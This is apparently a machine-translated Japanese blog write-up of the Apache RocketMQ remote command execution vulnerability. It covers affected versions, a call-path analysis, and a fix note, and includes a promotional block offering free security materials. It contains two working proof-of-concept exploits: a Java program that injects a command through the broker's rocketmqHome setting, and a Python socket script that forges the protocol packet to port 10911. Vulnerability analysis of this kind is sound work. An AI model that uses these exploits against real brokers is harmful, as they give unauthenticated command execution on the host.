脆弱性プロファイル
RocketMQ 5.1.0 以前の場合、特定の条件下ではリモート コマンドが実行される危険性があります。RocketMQ の NameServer、Broker、Controller などのコンポーネントが外部ネットワークから漏洩し、権限の検証が不足していたため、攻撃者はこの脆弱性を悪用し、RocketMQ を実行しているシステムユーザーとして設定更新機能を利用してコマンドを実行する可能性があります。さらに、攻撃者は RocketMQ プロトコルの内容を偽造することで同じ効果を得ることができます。
影響を受けるバージョン
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
セキュリティバージョン
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
脆弱性の再発
Maven プロジェクトをローカルに作成し、依存関係を追加する
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>
エクスプロイトコードを書く
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class poc1 {
public static void main(String[] args) throws Exception {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c gnome-calculator test");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr("192.168.222.130:9876");
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig("192.168.222.130:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
脆弱性分析
本当に危険な操作は、認証や暗号化送信を行わずに 10911 と通信し、同時にコマンド実行のパラメーターを持ち込む操作であることがわかります。
org/apache/rocketmq/remoting/protocol/RequestCode.java
コードはさまざまな関数の呼び出しを表します
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig
org/apache/rocketmq/remoting/Configuration.java#update
属性名が組み込みの場合、更新操作
サイバーセキュリティの学習に役立ち、完全な情報セットの S レターを無料で入手できます:
① サイバーセキュリティ学習の成長パスのマインド マップ
② 60 以上の古典的なサイバーセキュリティ ツールキット
③ 100 以上の SRC 分析レポート
④ サイバーセキュリティの攻撃と防御の戦闘テクニックに関する 150 以上の電子書籍
⑤最も権威のある CISSP 認定試験ガイド + クエスチョン バンク
⑥ 1800 ページを超える CTF 実践スキル マニュアル
⑦ ネットワーク セキュリティ企業からの最新の面接質問集 (回答を含む)
⑧ APP クライアント セキュリティ テスト ガイド (Android+IOS)
後半のほうがわかりやすい
org/apache/rocketmq/broker/BrokerStartup.java#start
org/apache/rocketmq/broker/BrokerController.java#start
org/apache/rocketmq/broker/BrokerController.java#startBasicService
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start
[外部リンク画像の転送に失敗しました。ソース サイトには盗難防止リンク メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-AhERzAau-1690883548357)(https://m-1254331109.cos.ap- guangzhou.myqcloud.com/202308011624734 .png)] Wireshark からキャプチャされたデータ パケットによると、脆弱性をトリガーするこのようなペイロードを構築することもできます。
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',10911))
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
バグの修正
コマンド実行用のモジュールが削除されました